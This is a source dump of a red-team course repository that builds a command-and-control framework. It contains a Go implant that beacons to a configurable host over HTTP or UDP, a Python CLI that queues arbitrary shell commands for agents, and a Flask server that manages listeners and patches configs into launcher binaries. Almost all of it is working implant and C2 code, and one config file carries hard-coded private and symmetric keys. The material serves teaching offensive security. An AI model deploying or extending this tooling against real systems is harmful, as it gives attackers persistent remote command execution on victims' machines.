24 | incomingMsg, err := client.client.SendMsg(outgoingMsg)
25 | if err != nil {
26 | return nil, err
27 | }
28 | incomingMsg, err = sym.ValidateThenDecryptMessage(incomingMsg, client.key)
29 | if err != nil {
30 | return nil, err
31 | }
32 | return incomingMsg, nil
33 | }
34 |
--------------------------------------------------------------------------------
/agent/comm/udp.go:
--------------------------------------------------------------------------------
1 | package comm
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net"
7 | )
8 |
9 | type UdpClient struct {
10 | conn net.Conn
11 | }
12 |
13 | func NewUdpClient(targetHost string, targetPort int) (*UdpClient, error) {
14 | conn, err := net.Dial("udp", fmt.Sprintf("%s:%d", targetHost, targetPort))
15 | if err != nil {
16 | return nil, err
17 | }
18 | return &UdpClient{
19 | conn: conn,
20 | }, nil
21 | }
22 |
23 | const NUMERO_TOTALMENTE_ARBITRARIO = 2048
24 |
25 | func (client *UdpClient) SendMsg(outgoingMsg []byte) ([]byte, error) {
26 | bytes_written, err := client.conn.Write(outgoingMsg)
27 | if err != nil {
28 | return nil, err
29 | }
30 | if bytes_written < len(outgoingMsg) {
31 | return nil, fmt.Errorf("error writing to UDP socket")
32 | }
33 |
34 | buffer := make([]byte, NUMERO_TOTALMENTE_ARBITRARIO)
35 | bytes_read, err := bufio.NewReader(client.conn).Read(buffer)
36 | if err != nil {
37 | return nil, err
38 | }
39 | return buffer[:bytes_read], nil
40 | }
41 |
--------------------------------------------------------------------------------
/agent/config.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | _ "embed"
5 | "encoding/json"
6 | "os"
7 | )
8 |
9 | type Config struct {
10 | PrivateKey []byte `json:"PrivateKey"`
11 | SymKey []byte `json:"SymKey"`
12 | Type string `json:"Type"`
13 | Host string `json:"Host"`
14 | Port int `json:"Port"`
15 | IntervalMs int `json:"IntervalMs"`
16 | }
17 |
18 | func LoadConfig(file string) (*Config, error) {
19 | var config Config
20 | jsonFile, err := os.Open(file)
21 | if err != nil {
22 | return nil, err
23 | }
24 |
25 | err = json.NewDecoder(jsonFile).Decode(&config)
26 | if err != nil {
27 | return nil, err
28 | }
29 |
30 | return &config, nil
31 | }
32 |
33 | func LoadConfigBytes(configBytes []byte) (*Config, error) {
34 | var config Config
35 | err := json.Unmarshal(configBytes, &config)
36 | if err != nil {
37 | return nil, err
38 | }
39 |
40 | return &config, nil
41 | }
42 |
43 | func LoadEmbeddedConfig() (*Config, error) {
44 | return LoadConfigBytes(configBytes)
45 | }
46 |
--------------------------------------------------------------------------------
/agent/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "Type": "http",
3 | "Host": "localhost",
4 | "Port": 8080,
5 | "IntervalMs": 1000,
6 | "SymKey": "c29tZSByYW5kb20ga2V5IQ==",
7 | "PrivateKey": "MHcCAQEEIJMEryLZTSdAbPIB6O97EfJiFk9hB4vHlxTA7owhZMYooAoGCCqGSM49AwEHoUQDQgAEeRmw2DbQa4WbcEm8GIjDyOqQQrgpoDdOJGh+FpZTf9QLpq4TqsgVcEHWTVo3Fs1X0vfuCyK887t+sDCMpYxMxw=="
8 | }
--------------------------------------------------------------------------------
/agent/config_default.go:
--------------------------------------------------------------------------------
1 | //go:build default_config
2 |
3 | package main
4 |
5 | import _ "embed"
6 |
7 | //go:embed config.json
8 | var configBytes []byte
9 |
--------------------------------------------------------------------------------
/agent/config_placeholder.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/agent/config_placeholder.bin
--------------------------------------------------------------------------------
/agent/config_placeholder.go:
--------------------------------------------------------------------------------
1 | //go:build !default_config
2 |
3 | package main
4 |
5 | import _ "embed"
6 |
7 | //go:embed config_placeholder.bin
8 | var configBytes []byte
9 |
--------------------------------------------------------------------------------
/agent/cryptoutil/dh/main.go:
--------------------------------------------------------------------------------
1 | package dh
2 |
3 | import (
4 | "crypto/ecdsa"
5 | "crypto/elliptic"
6 | "crypto/rand"
7 | "crypto/sha256"
8 | "crypto/x509"
9 | "fmt"
10 | )
11 |
12 | type KeyExchange struct {
13 | PrivateKey *ecdsa.PrivateKey
14 | }
15 |
16 | func NewKeyExchange(privateKeyBytes []byte) (*KeyExchange, error) {
17 | var privateKey *ecdsa.PrivateKey
18 | var err error
19 | if privateKeyBytes == nil {
20 | privateKey, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
21 | } else {
22 | privateKey, err = x509.ParseECPrivateKey(privateKeyBytes)
23 | }
24 |
25 | if err != nil {
26 | return nil, err
27 | }
28 |
29 | return &KeyExchange{
30 | PrivateKey: privateKey,
31 | }, nil
32 | }
33 |
34 | func (ke *KeyExchange) GetSharedKey(publicKeyBytes []byte) ([]byte, error) {
35 | publicKey, err := x509.ParsePKIXPublicKey(publicKeyBytes)
36 | if err != nil {
37 | return nil, err
38 | }
39 | ecdsaPublicKey := publicKey.(*ecdsa.PublicKey)
40 | x, _ := ecdsaPublicKey.Curve.ScalarMult(ecdsaPublicKey.X, ecdsaPublicKey.Y, ke.PrivateKey.D.Bytes())
41 | return x.Bytes(), nil
42 | }
43 |
44 | func (ke *KeyExchange) GetPublicKey() []byte {
45 | bytes, err := x509.MarshalPKIXPublicKey(&ke.PrivateKey.PublicKey)
46 | if err != nil {
47 | fmt.Println(err)
48 | }
49 | return bytes
50 | }
51 |
52 | func (ke *KeyExchange) GetPrivateKey() []byte {
53 | keyBytes, _ := x509.MarshalECPrivateKey(ke.PrivateKey)
54 | return keyBytes
55 | }
56 |
57 | func GetClientID(publicKey []byte) []byte {
58 | h := sha256.New()
59 | h.Write(publicKey)
60 | return h.Sum(nil)[:16]
61 | }
62 |
--------------------------------------------------------------------------------
/agent/cryptoutil/sym/main.go:
--------------------------------------------------------------------------------
1 | package sym
2 |
3 | import (
4 | "crypto/aes"
5 | "crypto/cipher"
6 | "crypto/hmac"
7 | "crypto/rand"
8 | "crypto/sha1"
9 | "fmt"
10 | "io"
11 | )
12 |
13 | func DecryptMessage(message []byte, key []byte) ([]byte, error) {
14 | block, err := aes.NewCipher(key)
15 | if err != nil {
16 | return nil, err
17 | }
18 | iv := message[:aes.BlockSize]
19 | data := message[aes.BlockSize:]
20 | stream := cipher.NewOFB(block, iv)
21 | stream.XORKeyStream(data, data)
22 | return data, nil
23 | }
24 |
25 | func EncryptMessage(message []byte, key []byte) ([]byte, error) {
26 | block, err := aes.NewCipher(key)
27 | if err != nil {
28 | return nil, err
29 | }
30 |
31 | encrypted := make([]byte, aes.BlockSize+len(message))
32 | iv := encrypted[:aes.BlockSize]
33 | if _, err := io.ReadFull(rand.Reader, iv); err != nil {
34 | return nil, err
35 | }
36 |
37 | data := encrypted[aes.BlockSize:]
38 | stream := cipher.NewOFB(block, iv)
39 | stream.XORKeyStream(data, message)
40 | return encrypted, nil
41 | }
42 |
43 | func SignMessage(message []byte, key []byte) []byte {
44 | mac := hmac.New(sha1.New, key)
45 | mac.Write(message)
46 | signed := make([]byte, len(message)+mac.Size())
47 | copy(signed[:mac.Size()], mac.Sum((nil)))
48 | copy(signed[mac.Size():], message)
49 | return signed
50 | }
51 |
52 | func ValidateMessage(message []byte, key []byte) ([]byte, bool) {
53 | mac := hmac.New(sha1.New, key)
54 | mac.Write(message[mac.Size():])
55 | expectedMAC := mac.Sum(nil)
56 | return message[mac.Size():], hmac.Equal(message[:mac.Size()], expectedMAC)
57 | }
58 |
59 | func EncryptThenSignMessage(message []byte, key []byte) ([]byte, error) {
60 | encrypted, err := EncryptMessage(message, key)
61 | if err != nil {
62 | return nil, err
63 | }
64 |
65 | return SignMessage(encrypted, key), nil
66 | }
67 |
68 | func ValidateThenDecryptMessage(signedMessage []byte, key []byte) ([]byte, error) {
69 | message, valid := ValidateMessage(signedMessage, key)
70 | if !valid {
71 | return nil, fmt.Errorf("invalid message")
72 | }
73 | decrypted, err := DecryptMessage(message, key)
74 | if err != nil {
75 | return nil, err
76 | }
77 | return decrypted, nil
78 | }
79 |
--------------------------------------------------------------------------------
/agent/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "time"
7 |
8 | "./app"
9 | )
10 |
11 | func main() {
12 | config, err := LoadEmbeddedConfig()
13 | // config, err := LoadConfig("config.json")
14 | if err != nil {
15 | fmt.Printf("Error reading config file: %s\n", err)
16 | return
17 | }
18 |
19 | config_json, _ := json.Marshal(&config)
20 | fmt.Printf("Loaded config:\n%s\n", config_json)
21 |
22 | client, err := CreateClient(config)
23 | if err != nil {
24 | fmt.Printf("Error creating client: %s\n", err)
25 | return
26 | }
27 |
28 | agent := app.NewAgent(client)
29 |
30 | for {
31 | err := agent.Heartbeat()
32 | if err != nil {
33 | fmt.Printf("Error: %s\n", err)
34 | }
35 | time.Sleep(time.Duration(config.IntervalMs) * time.Millisecond)
36 | }
37 |
38 | }
39 |
--------------------------------------------------------------------------------
/agent/types.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "encoding/hex"
5 | "fmt"
6 |
7 | "./comm"
8 | "./cryptoutil/dh"
9 | )
10 |
11 | func createKeyExchange(config *Config) (*dh.KeyExchange, error) {
12 | keyExchange, err := dh.NewKeyExchange(config.PrivateKey)
13 | if err != nil {
14 | return nil, err
15 | }
16 |
17 | clientID := dh.GetClientID(keyExchange.GetPublicKey())
18 | fmt.Printf("Client ID: %s\n", hex.EncodeToString(clientID))
19 | return keyExchange, nil
20 | }
21 |
22 | func CreateHttpClient(config *Config) (comm.Client, error) {
23 | keyExchange, err := createKeyExchange(config)
24 | if err != nil {
25 | return nil, err
26 | }
27 |
28 | httpClient := comm.NewHttpClient(fmt.Sprintf("http://%s:%d", config.Host, config.Port))
29 | encHttpClient := comm.NewEncryptedClient(httpClient, config.SymKey)
30 | dhClient := comm.NewDHClient(keyExchange, encHttpClient)
31 |
32 | return dhClient, nil
33 | }
34 |
35 | func CreateUnencryptedHttpClient(config *Config) (comm.Client, error) {
36 | keyExchange, err := createKeyExchange(config)
37 | if err != nil {
38 | return nil, err
39 | }
40 |
41 | httpClient := comm.NewHttpClient(fmt.Sprintf("http://%s:%d", config.Host, config.Port))
42 | clientID := dh.GetClientID(keyExchange.GetPublicKey())
43 | dummyAuthClient := comm.NewDummyAuthClient(clientID, httpClient)
44 |
45 | return dummyAuthClient, nil
46 | }
47 |
48 | func CreateUdpClient(config *Config) (comm.Client, error) {
49 | keyExchange, err := createKeyExchange(config)
50 | if err != nil {
51 | return nil, err
52 | }
53 |
54 | udpClient, err := comm.NewUdpClient(config.Host, config.Port)
55 | if err != nil {
56 | return nil, err
57 | }
58 |
59 | encUdpClient := comm.NewEncryptedClient(udpClient, config.SymKey)
60 | dhClient := comm.NewDHClient(keyExchange, encUdpClient)
61 |
62 | return dhClient, nil
63 | }
64 |
65 | func CreateUnencryptedUdpClient(config *Config) (comm.Client, error) {
66 | keyExchange, err := createKeyExchange(config)
67 | if err != nil {
68 | return nil, err
69 | }
70 |
71 | udpClient, err := comm.NewUdpClient(config.Host, config.Port)
72 | if err != nil {
73 | return nil, err
74 | }
75 |
76 | clientID := dh.GetClientID(keyExchange.GetPublicKey())
77 | return comm.NewDummyAuthClient(clientID, udpClient), nil
78 | }
79 |
80 | func CreateClient(config *Config) (comm.Client, error) {
81 | switch config.Type {
82 | case "http":
83 | return CreateHttpClient(config)
84 | case "unenc-http":
85 | return CreateUnencryptedHttpClient(config)
86 | case "udp":
87 | return CreateUdpClient(config)
88 | case "unenc-udp":
89 | return CreateUnencryptedUdpClient(config)
90 | default:
91 | return nil, fmt.Errorf("unknown client type")
92 | }
93 | }
94 |
--------------------------------------------------------------------------------
/cli/cli.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import time
3 | import sys
4 | from base64 import b64decode
5 | import shlex
6 |
7 | if len(sys.argv) < 3:
8 | print('Usage: {} BASE_URL AGENT_ID'.format(sys.argv[0]))
9 | exit(0)
10 |
11 | base_url, agent_id = sys.argv[1:]
12 |
13 | while True:
14 | command = input(">")
15 | command_args = shlex.split(command)
16 | print('command_args: ', command_args)
17 |
18 | response = requests.post(
19 | "{}/agents/{}/tasks/".format(base_url, agent_id),
20 | json={
21 | 'type': 'command',
22 | 'info': {
23 | 'args': command_args,
24 | 'timeout_ms': 5000
25 | }
26 | }
27 | )
28 | task_d = response.json()
29 | task_id = task_d['id']
30 | while True:
31 | response = requests.get(
32 | "{}/agents/{}/tasks/{}/result".format(base_url, agent_id, task_id),
33 | )
34 | task_result_list = response.json()
35 | for task_result in task_result_list:
36 | output_encoded = task_result.get('output')
37 | if output_encoded is not None:
38 | sys.stdout.write(b64decode(output_encoded).decode('utf-8'))
39 |
40 | if len(task_result_list) > 0:
41 | break
42 | else:
43 | time.sleep(1.0)
44 |
--------------------------------------------------------------------------------
/cli/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 |
--------------------------------------------------------------------------------
/malon_logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_logo.png
--------------------------------------------------------------------------------
/malon_lp/malon_lp/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/malon_lp/__init__.py
--------------------------------------------------------------------------------
/malon_lp/malon_lp/__main__.py:
--------------------------------------------------------------------------------
1 | from .admin import app
2 |
3 | app.run()
--------------------------------------------------------------------------------
/malon_lp/malon_lp/admin/__init__.py:
--------------------------------------------------------------------------------
1 | import io
2 | from base64 import b64decode
3 | from datetime import datetime
4 | from sqlalchemy import asc
5 |
6 | from . import json_encoder
7 | from .render_launcher import render_launcher
8 | from flask import Flask, jsonify, request, abort, send_file
9 | from ..database import db_session, db_init
10 | from ..database.models import Agent, Task, TaskResult, Listener
11 | from .listener_manager import ListenerManager
12 |
13 | listener_manager = ListenerManager()
14 |
15 | app = Flask(__name__)
16 |
17 | app.json_encoder = json_encoder.SQLAlchemyEncoder
18 |
19 | db_init()
20 |
21 | for listener in Listener.query.all():
22 | listener_manager.create_listener(listener)
23 |
24 | @app.route("/listeners/", methods=['GET'])
25 | def listeners():
26 | return jsonify(Listener.query.all())
27 |
28 | @app.route("/listeners/", methods=['POST'])
29 | def listeners_post():
30 | listener_d = request.json
31 | sym_key = b64decode(listener_d['sym_key'])
32 | listener = Listener(
33 | type=listener_d.get('type'),
34 | bind_host=listener_d.get('bind_host'),
35 | bind_port=listener_d.get('bind_port'),
36 | target_host=listener_d.get('target_host'),
37 | target_port=listener_d.get('target_port'),
38 | connection_interval_ms=listener_d.get('connection_interval_ms'),
39 | sym_key=sym_key
40 | )
41 | db_session.add(listener)
42 | db_session.commit()
43 | listener_manager.create_listener(listener)
44 | return jsonify(listener)
45 |
46 | @app.route("/listeners/", methods=['GET'])
47 | def listener(id: int):
48 | listener = Listener.query.get(id)
49 | return jsonify(listener) if listener is not None else abort(404)
50 |
51 | @app.route("/listeners/", methods=['DELETE'])
52 | def listener_delete(id: int):
53 | listener_manager.delete_listener(id)
54 | Listener.query.filter_by(id=id).delete()
55 | db_session.commit()
56 | return jsonify({'success': True})
57 |
58 | @app.route("/listeners//launcher/", methods=['GET'])
59 | def listener_launcher(id: int, platform: str):
60 | listener = Listener.query.get(id)
61 | if listener is None: return abort(404)
62 | launcher_bytes = render_launcher(listener, platform)
63 | return send_file(
64 | io.BytesIO(launcher_bytes),
65 | mimetype='application/octet-stream',
66 | as_attachment=True,
67 | attachment_filename='launcher-{}'.format(platform)
68 | )
69 |
70 |
71 | @app.route("/agents/", methods=['GET'])
72 | def agents():
73 | return jsonify(Agent.query.all())
74 |
75 | @app.route("/agents//report", methods=['POST'])
76 | def agents_ping(id: str):
77 | agent = Agent.query.get(id)
78 | report_d = request.json
79 |
80 | if agent is None:
81 | print('New agent reported in: {}'.format(id))
82 | agent = Agent(id=id)
83 |
84 | agent.listener_id = report_d['listener_id']
85 | agent.last_seen_at = datetime.now()
86 |
87 | db_session.add(agent)
88 | db_session.commit()
89 |
90 | return jsonify(agent)
91 |
92 | @app.route("/agents/", methods=['GET'])
93 | def agent(id: str):
94 | agent = Agent.query.get(id)
95 | return jsonify(agent) if agent is not None else abort(404)
96 |
97 | @app.route("/agents//tasks/", methods=['GET'])
98 | def agent_tasks(agent_id: str):
99 | tasks = Task.query.filter_by(agent_id=agent_id).all()
100 | return jsonify(tasks)
101 |
102 | @app.route("/agents//tasks/unread/", methods=['GET'])
103 | def agent_tasks_unread(agent_id: str):
104 | agent = Agent.query.get(agent_id)
105 | tasks = Task.query \
106 | .filter_by(agent_id=agent_id) \
107 | .filter(Task.id > agent.last_task_id) \
108 | .order_by(asc(Task.id)) \
109 | .all()
110 |
111 | if len(tasks) > 0:
112 | agent.last_task_id = tasks[-1].id
113 | db_session.add(agent)
114 | db_session.commit()
115 |
116 | return jsonify(tasks)
117 |
118 | @app.route("/agents//tasks/", methods=['POST'])
119 | def agent_tasks_post(agent_id: str):
120 | task_d = request.json
121 | input_encoded = task_d.get('input')
122 | task = Task(
123 | agent_id=agent_id,
124 | type=task_d.get('type'),
125 | info=task_d.get('info'),
126 | input=b64decode(input_encoded) if input_encoded is not None else None
127 | )
128 | db_session.add(task)
129 | db_session.commit()
130 | return jsonify(task)
131 |
132 | @app.route("/agents//tasks//result", methods=['GET'])
133 | def agent_task_result(agent_id: str, task_id: int):
134 | task_result = TaskResult.query.filter_by(task_id=task_id).all()
135 | return jsonify(task_result)
136 |
137 | @app.route("/agents//tasks//output", methods=['GET'])
138 | def agent_task_result_output(agent_id: str, task_id: int):
139 | task_result = TaskResult.query.filter_by(task_id=task_id).first()
140 | return send_file(
141 | io.BytesIO(task_result.output),
142 | mimetype='application/octet-stream',
143 | as_attachment=True,
144 | attachment_filename='task-{}-output'.format(task_result.task_id)
145 | )
146 |
147 | @app.route("/agents//tasks//result", methods=['POST'])
148 | def agent_task_result_post(agent_id: str, task_id: int):
149 | task_result_d = request.json
150 | output_encoded = task_result_d.get('output')
151 | task_result = TaskResult(
152 | task_id=task_id,
153 | info=task_result_d.get('info'),
154 | output=b64decode(output_encoded) if output_encoded is not None else None
155 | )
156 | db_session.add(task_result)
157 | db_session.commit()
158 | return jsonify(task_result)
159 |
160 | @app.teardown_appcontext
161 | def shutdown_session(exception=None):
162 | db_session.remove()
--------------------------------------------------------------------------------
/malon_lp/malon_lp/admin/__main__.py:
--------------------------------------------------------------------------------
1 | from . import app
2 |
3 | app.run()
--------------------------------------------------------------------------------
/malon_lp/malon_lp/admin/json_encoder.py:
--------------------------------------------------------------------------------
1 | import json
2 | from datetime import datetime
3 | from base64 import b64encode
4 | from sqlalchemy.ext.declarative import DeclarativeMeta
5 |
6 |
7 | def to_camel_case(s: str) -> str:
8 | return ''.join(map(str.capitalize, s.split('_')))
9 |
10 |
11 | class BaseEncoder(json.JSONEncoder):
12 | def default(self, obj):
13 | if type(obj) == datetime:
14 | return obj.isoformat()
15 | elif type(obj) == bytes:
16 | return b64encode(obj).decode('utf-8')
17 | else:
18 | return super().default(obj)
19 |
20 |
21 | class SQLAlchemyEncoder(BaseEncoder):
22 | def default(self, obj):
23 | if isinstance(obj.__class__, DeclarativeMeta):
24 | fields = {}
25 | for column in obj.__class__.__table__.columns:
26 | data = obj.__getattribute__(column.name)
27 | field = column.name
28 | try:
29 | json.dumps(data, cls=SQLAlchemyEncoder)
30 | fields[field] = data
31 | except TypeError:
32 | fields[field] = None
33 |
34 | return fields
35 | else:
36 | return super().default(obj)
37 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/admin/listener_manager.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | from ..database.models import Listener as ListenerModel
4 | from ..listener import Listener, get_listener_types
5 | from typing import Dict, List
6 | from multiprocessing import Process
7 |
8 | def run_listener(listener: Listener):
9 | # sys.stdout = open(os.devnull, 'w')
10 | # sys.stderr = open(os.devnull, 'w')
11 | listener.run()
12 |
13 | class ListenerManager:
14 | def __init__(self):
15 | self.listener_processes: Dict[int, Process] = {}
16 |
17 | def _create_listener(self, listener_model: ListenerModel) -> Listener:
18 | listener_class = get_listener_types()[listener_model.type]
19 | return listener_class.new(
20 | 'http://127.0.0.1:5000',
21 | listener_model.id,
22 | listener_model.bind_host,
23 | listener_model.bind_port,
24 | listener_model.sym_key
25 | )
26 |
27 | def create_listener(self, listener_model: ListenerModel):
28 | self.delete_listener(listener_model.id)
29 | process = Process(
30 | target=run_listener,
31 | args=[self._create_listener(listener_model)],
32 | daemon=True
33 | )
34 | process.start()
35 | self.listener_processes[listener_model.id] = process
36 |
37 | def delete_listener(self, listener_id: int):
38 | process = self.listener_processes.get(listener_id)
39 | if process is not None:
40 | process.terminate()
41 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/admin/render_launcher.py:
--------------------------------------------------------------------------------
1 | import os
2 | import json
3 | from base64 import b64encode
4 | from malon_lp.database.models import Listener
5 | from malon_lp.crypto.dh import KeyExchange
6 |
7 | def create_config(listener: Listener) -> dict:
8 | return {
9 | 'Type': listener.type,
10 | 'Host': listener.target_host,
11 | 'Port': listener.target_port,
12 | 'IntervalMs': listener.connection_interval_ms,
13 | 'SymKey': b64encode(listener.sym_key).decode('utf-8'),
14 | 'PrivateKey': b64encode(KeyExchange().get_private_key()).decode('utf-8')
15 | }
16 |
17 | def render_launcher(listener: Listener, platform: str) -> bytes:
18 | render_dir = 'render_launcher'
19 | with open(os.path.join(render_dir, platform), 'rb') as f:
20 | agent_template_bytes = f.read()
21 |
22 | with open(os.path.join(render_dir, 'config_placeholder.bin'), 'rb') as f:
23 | placeholder_bytes = f.read()
24 |
25 | config_bytes = json.dumps(create_config(listener)).encode('utf-8')
26 |
27 | return agent_template_bytes.replace(
28 | placeholder_bytes,
29 | config_bytes.ljust(len(placeholder_bytes), b' ')
30 | )
31 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/crypto/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pucarasec/Build-C2-RedTeam-Course/d1d6e1651580b1ce2461921fccb2a604d2f083b6/malon_lp/malon_lp/crypto/__init__.py
--------------------------------------------------------------------------------
/malon_lp/malon_lp/crypto/dh.py:
--------------------------------------------------------------------------------
1 |
2 | from typing import Optional
3 | from hashlib import sha256
4 | from ecdsa import ECDH, NIST256p, SigningKey, VerifyingKey
5 |
6 | class KeyExchange:
7 | def __init__(self, private_key_der: Optional[bytes] = None):
8 | """
9 | Puede recibir una clave privada como input.
10 | En caso de no recibir una, la genera utilizando la
11 | SigningKey y curva NIST256p.
12 | """
13 | if private_key_der is not None:
14 | self.private_key = SigningKey.from_der(private_key_der)
15 | else:
16 | self.private_key = SigningKey.generate(curve=NIST256p)
17 |
18 | def get_shared_key(self, public_key_der: bytes) -> bytes:
19 | """
20 | Utilizacion de ECDH para fabricar la clave compartida.
21 | """
22 | return ECDH(
23 | curve=NIST256p,
24 | private_key=self.private_key,
25 | public_key=VerifyingKey.from_der(public_key_der)
26 | ).generate_sharedsecret_bytes()
27 |
28 | def get_public_key(self) -> bytes:
29 | """
30 | Devuelva la clave publica del keyExchange en el format "der"
31 | """
32 | public_key: VerifyingKey = self.private_key.get_verifying_key()
33 | return public_key.to_der()
34 |
35 | def get_private_key(self) -> bytes:
36 | """
37 | Devuelva la clave privada del keyExchange en el format "der"
38 | """
39 | return self.private_key.to_der()
40 |
41 | def get_client_id(public_key_der: bytes) -> bytes:
42 | """
43 | Obtener un valor representativo y unico a partir de los bytes
44 | """
45 | return sha256(public_key_der).digest()[:16]
46 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/crypto/sym.py:
--------------------------------------------------------------------------------
1 | from typing import Optional
2 | import hmac
3 | from Crypto.Cipher import AES
4 | from Crypto.Random import get_random_bytes
5 |
6 |
7 | class SymmetricCipher:
8 | def __init__(self, key: bytes) -> bytes:
9 | self._key = key
10 |
11 | def encrypt_msg(self, msg: bytes) -> bytes:
12 | """
13 | Cifra el mensaje en formato bytes
14 | """
15 | iv = get_random_bytes(AES.block_size)
16 | cipher = AES.new(self._key, AES.MODE_OFB, iv)
17 | padded_msg = msg.ljust(len(msg) + ((-len(msg)) % AES.block_size), b'\x00')
18 | return iv + cipher.encrypt(padded_msg)[:len(msg)]
19 |
20 | def decrypt_msg(self, msg: bytes) -> bytes:
21 | """
22 | Descifra el mensaje en formato bytes
23 | """
24 | iv, msg = msg[:AES.block_size], msg[AES.block_size:]
25 | cipher = AES.new(self._key, AES.MODE_OFB, iv)
26 | padded_msg = msg.ljust(len(msg) + ((-len(msg)) % AES.block_size), b'\x00')
27 | return cipher.decrypt(padded_msg)[:len(msg)]
28 |
29 | def sign_msg(self, msg: bytes) -> bytes:
30 | """
31 | Firma el mensaje en formato bytes
32 | """
33 | return hmac.digest(self._key, msg, 'sha1') + msg
34 |
35 | def verify_msg(self, msg: bytes) -> Optional[bytes]:
36 | """
37 | Verifica la firma de un mensaje
38 | """
39 | sig, msg = msg[:20], msg[20:]
40 | verify_sig = hmac.digest(self._key, msg, 'sha1')
41 | if hmac.compare_digest(sig, verify_sig):
42 | return msg
43 | else:
44 | return None
45 |
46 | def encrypt_sign_msg(self, msg: bytes) -> bytes:
47 | """
48 | Cifra y firma un mensaje
49 | """
50 | return self.sign_msg(self.encrypt_msg(msg))
51 |
52 | def verify_decrypt_msg(self, msg: bytes) -> Optional[bytes]:
53 | """
54 | Verifica la firma y luego decifra el mensaje. En caso de no poder verificar la firma devuelve None
55 | """
56 | verified_msg = self.verify_msg(msg)
57 | if verified_msg is not None:
58 | return self.decrypt_msg(verified_msg)
59 | else:
60 | return None
61 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/database/__init__.py:
--------------------------------------------------------------------------------
1 | from sqlalchemy import create_engine
2 | from sqlalchemy.orm import scoped_session, sessionmaker
3 | from .models import Base
4 |
5 | engine = create_engine('sqlite:///malon.db')
6 | db_session = scoped_session(sessionmaker(autocommit=False,
7 | autoflush=False,
8 | bind=engine))
9 | Base.query = db_session.query_property()
10 |
11 | def db_init():
12 | Base.metadata.create_all(bind=engine)
--------------------------------------------------------------------------------
/malon_lp/malon_lp/database/models.py:
--------------------------------------------------------------------------------
1 | from datetime import datetime
2 |
3 | from sqlalchemy import ForeignKey, Column, text
4 | from sqlalchemy.orm import declarative_base, relationship, validates
5 | from sqlalchemy.types import DateTime, String, Integer, JSON, BLOB
6 |
7 | Base = declarative_base()
8 |
9 | class Agent(Base):
10 | __tablename__ = 'agents'
11 | id = Column(String, primary_key=True)
12 | created_at = Column(DateTime, nullable=False, default=datetime.now)
13 | listener_id = Column(Integer, ForeignKey('listeners.id'))
14 | last_seen_at = Column(DateTime, nullable=False, default=datetime.now)
15 | last_task_id = Column(Integer, nullable=False, default=0)
16 | tasks = relationship('Task', back_populates='agent')
17 | listener = relationship('Listener', back_populates='agents')
18 |
19 | class Task(Base):
20 | __tablename__ = 'tasks'
21 | id = Column(Integer, primary_key=True, autoincrement=True)
22 | created_at = Column(DateTime, nullable=False, default=datetime.now)
23 | agent_id = Column(String, ForeignKey('agents.id'))
24 | agent = relationship('Agent', back_populates='tasks')
25 | type = Column(String, nullable=False)
26 | info = Column(JSON)
27 | input = Column(BLOB)
28 | result = relationship('TaskResult', back_populates='task')
29 |
30 | class TaskResult(Base):
31 | __tablename__ = 'task_results'
32 | task_id = Column(Integer, ForeignKey('tasks.id'), primary_key=True)
33 | created_at = Column(DateTime, nullable=False, default=datetime.now)
34 | task = relationship('Task', back_populates='result')
35 | info = Column(JSON)
36 | output = Column(BLOB)
37 |
38 | class Listener(Base):
39 | __tablename__ = 'listeners'
40 | id = Column(Integer, primary_key=True, autoincrement=True)
41 | created_at = Column(DateTime, nullable=False, default=datetime.now)
42 | type = Column(String, nullable=False)
43 | bind_host = Column(String, nullable=False, default="0.0.0.0")
44 | bind_port = Column(Integer, nullable=False, unique=True)
45 | target_host = Column(String, nullable=False)
46 | target_port = Column(Integer, nullable=False)
47 | connection_interval_ms = Column(Integer, nullable=False, default=1000)
48 | sym_key = Column(BLOB, nullable=False)
49 | agents = relationship('Agent', back_populates='listener')
50 |
51 | @validates('sym_key')
52 | def validate_sym_key(self, _, sym_key):
53 | assert len(sym_key) == 16
54 | return sym_key
55 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/__init__.py:
--------------------------------------------------------------------------------
1 | from typing import Mapping
2 | from abc import ABC, abstractmethod
3 | import pkgutil
4 | import os
5 |
6 |
7 | def _load_submodules():
8 | paths = [os.path.join(path, 'listener') for path in __path__]
9 | for loader, module_name, is_pkg in pkgutil.walk_packages(paths):
10 | _module = loader.find_module(module_name).load_module(module_name)
11 |
12 | class Listener(ABC):
13 | @classmethod
14 | @abstractmethod
15 | def new(cls, api_url: str, listener_id: int, host: str, port: int, sym_key: bytes) -> 'Listener':
16 | """
17 | Factory
18 | """
19 | pass
20 |
21 | @classmethod
22 | @abstractmethod
23 | def type_name(cls) -> str:
24 | """
25 | Devuelve un valor caracteristico de tipo String para identificar
26 | las caracteristicas del listener
27 | """
28 | pass
29 |
30 | @abstractmethod
31 | def run(self):
32 | """
33 | Ejecuta el Listener
34 | """
35 | pass
36 |
37 | def get_listener_types() -> Mapping[str, type]:
38 | return {
39 | listener_type.type_name(): listener_type
40 | for listener_type in Listener.__subclasses__()
41 | }
42 |
43 | _load_submodules()
44 |
--------------------------------------------------------------------------------
/malon_lp/malon_lp/listener/handler/__init__.py:
--------------------------------------------------------------------------------
1 | from typing import Optional
2 | from abc import ABC, abstractmethod
3 |
4 | class Handler(ABC):
5 | @abstractmethod
